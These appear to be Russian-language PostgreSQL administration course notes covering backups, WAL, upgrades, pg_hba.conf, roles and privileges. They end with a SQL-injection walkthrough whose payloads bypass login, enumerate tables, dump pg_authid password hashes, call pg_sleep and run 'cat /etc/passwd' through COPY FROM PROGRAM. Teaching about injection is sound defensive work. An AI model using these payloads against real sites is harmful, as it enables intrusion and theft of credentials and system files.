lvcreate --size 100M --snapshot --name snap /dev/vg00/lvol1
zfs snapshot datapool/docs@version1
btrfs subvolume snapshot /btrfs/sub1 /btrfs/sub1/snapshot
archive_mode = on
archive_command = 'test ! -f /backup/%f && cp %p /backup/%f'
wal_writer_delay = 1s
wal_level = hot_standby
max_wal_senders = 5
pg_basebackup -D /tmp/backup -Ft -z -P
pg_basebackup -D - -Ft -P > backup.tar
pg_basebackup -D - -Ft -P -z > backup.tgz
pg_dump movielens > db.sql
pg_dump -Fc movielens > db.dump
pg_dump -Fd movielens -j 5 -f dumpdir
psql movielens < db.sql
pg_restore -d movielens -Fc db.dump
pg_restore -d movielens -Fd dumpdir
sudo pg_upgradecluster -v 9.5 9.4 main
/usr/lib/postgresql/9.5/bin/pg_upgrade
--old-datadir /var/lib/postgresql/9.4/main/ \
--new-datadir /var/lib/postgresql/9.5/main/ \
--old-bindir /usr/lib/postgresql/9.4/bin/ \
--new-bindir /usr/lib/postgresql/9.4/bin/
Рекомендуется добавить в конец файла postgresql.conf
строки вида:
# include files ending in '.conf' from
include_dir = 'conf.d'
Специфические настройки при этом хранить в директории conf.d
.
Если один параметр указан несколько раз - то побеждает последний.
Определяет, будет ли сервер при фиксировании транзакции ждать, пока записи из WAL сохранятся на диске.
Допустимые значения: on, remote_apply, remote_write, local и off.
Этот параметр можно изменить в любое время:
SET LOCAL synchronous_commit = ON
Определяет, как часто процесс записи WAL будет сбрасывать WAL на диск.
/usr/lib/postgresql/9.5/bin/initdb \
--data-checksums main
Указывает на необходимость проверки системой ввода/вывода контрольных сумм страниц для обнаружения повреждённых данных, так как по умолчанию проверка не производится.
Включение проверки может в значительной мере оказать влияние на производительность.
Устанавливается на этапе развёртывания кластера, и далее не может быть изменена.
listen_addresses = '*'
max_connections = 100
iptables -A INPUT -p tcp --syn --dport 5432 \
-m connlimit --connlimit-above 15 \
-j REJECT --reject-with tcp-reset
CREATE TABLESPACE fastspace
LOCATION '/ssd1/postgresql/data';
CREATE TABLE cinemas (
id serial,
name text,
location text
) TABLESPACE fastspace;
CREATE INDEX code_idx ON films (code)
TABLESPACE indexspace;
$ ps auxww | grep ^postgres
postgres 15551 0.0 0.1 57536 7132 pts/0 S 18:02 0:00 postgres -i
postgres 15554 0.0 0.0 57536 1184 ? Ss 18:02 0:00 postgres: writer process
postgres 15555 0.0 0.0 57536 916 ? Ss 18:02 0:00 postgres: checkpointer process
postgres 15556 0.0 0.0 57536 916 ? Ss 18:02 0:00 postgres: wal writer process
postgres 15557 0.0 0.0 58504 2244 ? Ss 18:02 0:00 postgres: autovacuum launcher process
postgres 15558 0.0 0.0 17512 1068 ? Ss 18:02 0:00 postgres: stats collector process
postgres 15582 0.0 0.0 58772 3080 ? Ss 18:04 0:00 postgres: joe runbug 127.0.0.1 idle
postgres 15606 0.0 0.0 58772 3052 ? Ss 18:07 0:00 postgres: tgl regression [local] SELECT waiting
postgres 15610 0.0 0.0 58772 3056 ? Ss 18:07 0:00 postgres: tgl regression [local] idle in transaction
Объектные привилегии разрешают доступ к конкретным объектам.
Глобальные привилегии позволяют что-то делать с самим сервером.
local database user auth-method [auth-options]
host database user address auth-method [auth-options]
hostssl database user address auth-method [auth-options]
hostnossl database user address auth-method [auth-options]
host database user IP-address IP-mask auth-method [auth-options]
hostssl database user IP-address IP-mask auth-method [auth-options]
hostnossl database user IP-address IP-mask auth-method [auth-options]
# TYPE DATABASE USER ADDRESS METHOD
local all all trust
host all all 127.0.0.1/32 trust
host all all ::1/128 trust
host postgres all 192.168.12.10/32 md5
host all all .example.com md5 map=omicron
host all all 192.168.54.1/32 reject
local all @admins,+support md5
FATAL: no pg_hba.conf entry for host "1.2.3.4", user "foo", database "bar"
FATAL: password authentication failed for user "foo"
FATAL: user "foo" does not exist
FATAL: database "testdb" does not exist
# map-name system-username database-username
mymap /^(.*)@mydomain\.com$ \1
mymap /^(.*)@otherdomain\.com$ guest
omicron bryanh bryanh
omicron ann ann
omicron robert bob
omicron bryanh guest1
Роль можно рассматривать как пользователя базы данных или как группу пользователей, в зависимости от того, как роль настроена.
CREATE ROLE bar;
CREATE ROLE foo WITH LOGIN PASSWORD 'passw0rd';
CREATE ROLE admin WITH CREATEDB CREATEROLE;
DROP ROLE foo;
SELECT rolname FROM pg_roles;
CREATE ROLE joe LOGIN INHERIT;
CREATE ROLE admin NOINHERIT;
CREATE ROLE wheel NOINHERIT;
GRANT admin TO joe;
GRANT wheel TO admin;
SET ROLE admin;
SET ROLE wheel;
SET ROLE joe;
SET ROLE NONE;
RESET ROLE;
GRANT { { SELECT | INSERT | UPDATE | DELETE | TRUNCATE
| REFERENCES | TRIGGER }
[, ...] | ALL [ PRIVILEGES ] }
ON { [ TABLE ] имя_таблицы [, ...]
| ALL TABLES IN SCHEMA имя_схемы [, ...] }
TO указание_роли [, ...] [ WITH GRANT OPTION ]
GRANT { { CREATE | CONNECT | TEMPORARY | TEMP } [, ...]
| ALL [ PRIVILEGES ] }
ON DATABASE имя_бд [, ...]
TO указание_роли [, ...] [ WITH GRANT OPTION ]
GRANT SELECT ON mytable TO PUBLIC;
GRANT SELECT, UPDATE, INSERT ON mytable TO admin;
GRANT SELECT (col1), UPDATE (col1) ON mytable TO miriam_rw;
SELECT * FROM news WHERE id='$id'
SELECT * FROM news WHERE id='1''
pg_query(): Query failed: ERROR: unterminated quoted…
SELECT * FROM news WHERE id='1' -- '
SELECT * FROM users
WHERE login='$login' AND pass='$pass'
SELECT * FROM users
WHERE login='Admin' -- ' AND pass='123'
SELECT * FROM users
WHERE login='Admin' AND pass='123' OR login='Admin' -- '
SELECT * FROM users
WHERE (login='Admin' AND pass='123') OR (login='Admin')
http://xxx/news.php?id=1' UNION SELECT null --
SELECT * FROM news WHERE id='1' UNION SELECT null --'
pg_query(): Query failed: ERROR: each UNION query must have the same number of columns
http://xxx/news.php?id=1' UNION SELECT null, null --
http://xxx/news.php?id=1
SELECT title, body FROM news WHERE id='1'
GROUP BY 1, 2, 3, 4 --'
pg_query(): Query failed: ERROR: GROUP BY position 3
SELECT title, body FROM news WHERE id='1'
ORDER BY 4 --'
pg_query(): Query failed: ERROR: ORDER BY position 4
http://xxx/news.php?id=1' GROUP BY 1, 2
http://xxx/news.php?id=1' ORDER BY 2
http://xxx/news.php?id=1
http://xxx/news.php?id=-1' UNION SELECT table_schema, table_name FROM information_schema.tables
--
SELECT title, body FROM news WHERE id='-1'
UNION
SELECT table_schema, table_name
FROM information_schema.tables --'
http://xxx/news.php?id=-1' UNION SELECT '.', pg_ls_dir('.') --
http://xxx/news.php?id=-1' UNION SELECT 'pg_catalog.pg_authid', encode( pg_read_binary_file( pg_relation_filepath( 'pg_catalog.pg_authid')),
'hex') --
http://xxx/news.php?id=-1' UNION SELECT NULL, pg_sleep(3600) --
SELECT title, body FROM news WHERE id='-1'
UNION SELECT NULL, pg_sleep(3600) --'
http://xxx/news.php?id=-1'; CREATE TEMP TABLE tmp1 (content text); COPY tmp1 FROM PROGRAM 'cat
/etc/passwd'; UPDATE news SET body = (SELECT string_agg(content, E'\n') FROM tmp1) WHERE id = 1;
--
SELECT title, body FROM news WHERE id='-1';
CREATE TEMP TABLE tmp1 (content text);
COPY tmp1 FROM PROGRAM 'cat /etc/passwd';
UPDATE news SET body = (
SELECT string_agg(content, E'\n') FROM tmp1
) WHERE id = 1;
--'